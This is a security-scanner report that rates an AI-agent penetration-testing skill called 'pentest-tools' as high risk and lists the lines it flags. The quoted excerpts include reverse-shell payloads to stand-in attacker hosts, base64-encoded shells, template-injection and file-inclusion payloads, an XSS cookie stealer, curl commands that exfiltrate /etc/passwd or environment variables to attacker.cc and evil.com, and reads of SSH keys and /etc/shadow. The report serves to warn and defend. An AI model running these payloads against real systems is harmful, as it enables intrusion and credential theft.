pentest-tools
20 / 100 · High risk
Only if you trust the author. Some of what it can do is expected: a data skill usually connects to databases or online services with your credentials.
By longwangjiang88/SusuAIOverclock-pojia (GitHub) · data · 42 stars · scanned at commit 667b2db
主动渗透测试工具链。覆盖信息收集、端口扫描、漏洞扫描、Web 渗透、SQL 注入、目录爆破、密码破解等场景。 通过 MCP server(pentestMCP / mcp-security-hub)将 20+ 安全工具暴露给 AI agent。 触发关键词:渗透测试、端口扫描、Nmap、漏洞扫描、Nuclei、SQL 注入、SQLMap、目录爆破、FFUF、密码破解、Hashcat、信息收集、子域名、Web 渗透、ZAP、Burp。
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 41 places.
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/SKILL.md, line 79
| **Impacket** | Windows 协议利用(SMB/WMI/Kerberos) | `pip install impacket` | - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/SKILL.md, line 196
| Nuclei | ✓ | `go install` 或 GitHub Release | 需要 Go 或直接下载二进制 | - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/SKILL.md, line 197
| SQLMap | ✓ | `pip install sqlmap` 或 git clone | Python |
Show 17 more
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/SKILL.md, line 203
| Impacket | ✓ | `pip install impacket` | Python | - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/SKILL.md, line 204
| ProxyCat | ✓ | `pip install proxycat` | 代理池中间件(批量扫描防封) | - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/SKILL.md, line 224
- Nuclei: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/SKILL.md, line 225
- SQLMap: pip install sqlmap - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/references/burpsuite-mcp-guide.md, line 712
- Linux / Kali锛歚sudo apt install burpsuite` 鎴栦粠 https://portswigger.net/burp/releases 涓嬭浇 .jar - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/references/kali-mcp-ecosystem.md, line 15
- **安装**:`apt install mcp-kali-server` - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/references/kali-mcp-ecosystem.md, line 29
- **安装**:`apt install metasploitmcp` - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/references/kali-mcp-ecosystem.md, line 42
- **安装**:`apt install hexstrike-ai` - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/references/kali-mcp-ecosystem.md, line 51
- **安装**:`go install github.com/Armur-Ai/Pentest-Swarm-AI/cmd/pentestswarm@latest` - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/references/nuclei-guide-2026.md, line 12
- 已集成到 Kali 官方仓库(`apt install nuclei`) - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/references/nuclei-guide-2026.md, line 18
apt install nuclei - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/references/nuclei-guide-2026.md, line 20
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/references/pentest-ai-agents-matrix.md, line 11
curl -fsSL https://raw.githubusercontent.com/0xSteph/pentest-ai-agents/main/install.sh | bash - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 503
npm install -g graphql-cli - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 507
pip install inql - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 511
npm install -g graphql-cop - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 474
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash"
and 21 more places
Runs commands on your computer
The author does not mention this.
Found in 114 places.
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/SKILL.md, line 96
docker pull ramkansal/pentestmcp - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 1084
{"alg":"HS256","typ":"JWT","kid":"|/bin/bash -c id"} - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 150
<?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?>
Show 17 more
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 293
?file=../../../var/log/apache2/access.log&c=bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 757
POST: <?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?> - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 868
?file=data://text/plain,<?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?> - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 412
; bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 414
; python -c "import socket,subprocess,os;s=socket.socket();s.connect(('attacker',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subpro - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 717
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 59
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"').read()}} - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 170
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")} - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 174
- ` ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")}` — 参数与载荷内容 _va - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 401
${T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")} - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 523
{system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"")} - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 619
${self.module.cache.util.os.popen("id").read()} - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 620
${self.module.cache.util.os.popen("whoami").read()} - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 621
${self.module.cache.util.os.system("id")} - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 624
- `os.popen()` — 打开管道执行命令 _function_ - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 633
${subprocess.check_output(["id","-a"])} - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 634
${subprocess.Popen(["id"],stdout=subprocess.PIPE).communicate()[0]}
and 94 more places
Sends data to these websites: api.ipify.org, crt.sh, raw.githubusercontent.com, attacker.com, api.target.com, target.com, target$path, target, attacker.cc, 169.254.169.254 and 1 more
The author does not mention this. Expected for a data skill.
Found in 737 places.
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/references/burpsuite-mcp-guide.md, line 749
curl http://127.0.0.1:9876/health - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/references/msf-protocol.md, line 133
- 公网 IP 不知道时:`curl -s https://api.ipify.org` - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/references/network-attack-defense.md, line 37
curl "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value'
Show 17 more
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/references/pentest-ai-agents-matrix.md, line 11
curl -fsSL https://raw.githubusercontent.com/0xSteph/pentest-ai-agents/main/install.sh | bash - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/references/web-attack-cheatsheet.md, line 79
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/references/web-attack-cheatsheet.md, line 192
curl -s -H "Auth: TOKEN" "https://api.target.com/users/$id" | grep -v "403" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/references/web-attack-cheatsheet.md, line 320
fetch('https://target.com/api/change-email', { - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 477
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 483
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 491
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md, line 246
curl -s http://target/ | grep -iE "(seeyon|tongda|weaver|yongyou|kingdee|landray|jeecg|ruoyi|nacos|druid)" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/industry/banking-finance.md, line 100
curl -X POST https://target/pay/notify \ - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/industry/banking-finance.md, line 106
curl -X POST https://target/pay/notify -d "out_trade_no=ORDER001&trade_status=SUCCESS" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 173
curl https://attacker.cc/?d=`whoami` - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 174
curl -X POST -d "$(cat /etc/passwd | base64)" https://attacker.cc/ - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 245
AWS-IMDSv2 curl -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 18
curl -k https://exchange.com/owa/auth/x.js - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 67
curl -k "https://exchange.com/autodiscover/autodiscover.json?@foo.com/mapi/nspi?&Email=autodiscover/autodiscover.json%3f@foo.com" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 110
curl -k https://exchange.com/owa/auth/logon.aspx - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 118
curl -k -u user:pass https://exchange.com/autodiscover/autodiscover.xml
and 717 more places
Changes files outside its own folder
The author does not mention this.
Found in 3 places.
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/references/network-attack-defense.md, line 128
| 可写 /etc/passwd | `echo 'root2:$1$...:0:0::/root:/bin/bash' >> /etc/passwd` | - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/缓存与cdn安全.md, line 446
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md, line 1961
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts
Contains code that is hidden or hard to read
The author does not mention this.
Found in 15 places.
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 157
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh # base64 嵌套 - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 124
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 426
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash
Show 12 more
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 955
<img src=x onerror="eval(atob('YWxlcnQoMSk='))"> - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1307
<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1311
- `var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){new Ima - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1441
<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkK - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1445
- `eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpOw - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 222
| 命令字过滤 | base64:`echo Y2F0IC9ldGMvcGFzc3dk \| base64 -d \| sh` | - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2254
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2432
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 135
eval(atob('YWxlcnQoMSk=')) - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 877
<img src=x onerror="eval(atob('YWxlcnQoMSk='))"> - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 1079
<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 1156
<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkK
Reads your saved credentials, such as SSH keys or .env files
The author does not mention this. Expected for a data skill.
Found in 9 places.
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 258
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))" - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/raw/tools.json, line 1212
"command": "cat /root/.bash_history\ncat ~/.ssh/authorized_keys\ncat /etc/shadow\nfind / -name \"*.key\" 2>/dev/null", - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/raw/tools.json, line 4141
"command": "https://attacker_ip:7443\n# 默认账号: mythic_admin\n# 密码查看: cat .env | grep MYTHIC_ADMIN_PASSWORD",
Show 6 more
- packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/payloader/tools/权限提升.md, line 88
cat ~/.ssh/authorized_keys - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md, line 906
with open("/root/.ssh/id_rsa", "r") as f: - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 137
/root/.ssh/authorized_keys /root/.ssh/id_rsa - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 246
读到 /home/web/.ssh/id_rsa → SSH 私钥(不要使用) - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 288
→ 横向(看 /etc/hosts, ~/.aws/credentials, ~/.docker/config.json) - packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 4423
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))"
Safer alternatives
Low-risk skills in the same category (data) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'pentest-tools' ] || [ -L ~/.agents/skills/'pentest-tools' ]; then echo 'A skill folder named pentest-tools already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/longwangjiang88/SusuAIOverclock-pojia' "$d" && git -C "$d" checkout --quiet '667b2db2746516eae05412bbdcad77515d528f37' -- 'packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools' && mkdir -p ~/.agents/skills && cp -R "$d"/'packed-packs/codex/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools' ~/.agents/skills/'pentest-tools' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'pentest-tools' ~/.claude/skills/'pentest-tools' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for longwangjiang88/SusuAIOverclock-pojia shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/longwangjiang88/SusuAIOverclock-pojia/)
Score history
| Date | Version | Score |
|---|---|---|
| 2026-11-08 | 667b2db | 20 |
Also found in
Identical copies of this skill exist at:
- longwangjiang88/SusuAIOverclock-pojia/packed-packs/dsh/materials/skills/skills/pentest-tools
- longwangjiang88/SusuAIOverclock-pojia/packed-packs/workbuddy/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills/pentest-tools